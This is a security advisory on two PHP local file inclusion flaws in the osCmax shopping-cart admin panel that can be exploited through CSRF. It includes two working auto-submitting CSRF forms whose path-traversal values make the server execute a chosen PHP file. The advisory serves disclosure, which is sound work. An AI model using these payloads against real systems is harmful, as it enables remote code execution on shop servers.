RCE via CSRF in osCmax

High-Tech Bridge Security Research Lab discovered 2 PHP Local File Inclusion vulnerabilities in osCmax, a popular web-based e-commerce application and shopping cart. The vulnerabilities can be exploited to execute arbitrary PHP code on the target system.

Successful exploitation of these vulnerabilities requires attacker to have access to the administrator panel. However, both vulnerabilities can also be exploited by remote non-authenticated attacker via CSRF attack vector to which the application is also vulnerable.

1) Remote Code Execution via PHP File Inclusion in osCmax

1.1 The vulnerability exists due to insufficient filtration of "pm_filename" HTTP POST parameter in "/admin/page_modules_configuration.php" PHP script. A remote authenticated attacker can use path traversal sequences (e.g. "../../") to included and execute a PHP file from arbitrary location on the local file system.

A simple CSRF exploit below can be used to store in the application database path to "/tmp/file" file (or any other file with malicious PHP code):

<form action="http://[host]/admin/page_modules_configuration.php?page=1&action =insert" method="post" name="main">
<input type="hidden" name="pm_title" value="vulnerable">
<input type="hidden" name="pm_filename" value="../../../../../../../../../../../tmp/file">
<input type="hidden" name="pm_page" value="all">
<input type="hidden" name="pm_cg_hide" value="">
<input type="hidden" name="pm_sort_order" value="">
<input type="hidden" name="x" value="38">
<input type="hidden" name="y" value="17">
<input value="submit" id="btn" type="submit" />
</form><script>document.main.submit();</script>

The code from the "/tmp/file" file will be executed once the victim visits the following URL: http://[host]/index.php


1.2 The second vulnerability exists due to insufficient filtration of "file_type" HTTP POST parameter in "/admin/batch_print.php" script. A remote authenticated attacker can use path traversal to load and execute a PHP file from arbitrary location on the local filesystem.

A simple CSRF exploit below can be used to execute PHP code from "/tmp/file" file:

<form action="http://[host]/admin/batch_print.php?act=1" method="post" name ="main">
<input type="hidden" name="file_type" value="../../../../../../../../../../tmp/file">
<input value="submit" id="btn" type="submit" />
</form><script>document.main.submit();</script>

The malicious PHP code will be executed on the server once the victim visits the page with above-mentioned CSRF exploit.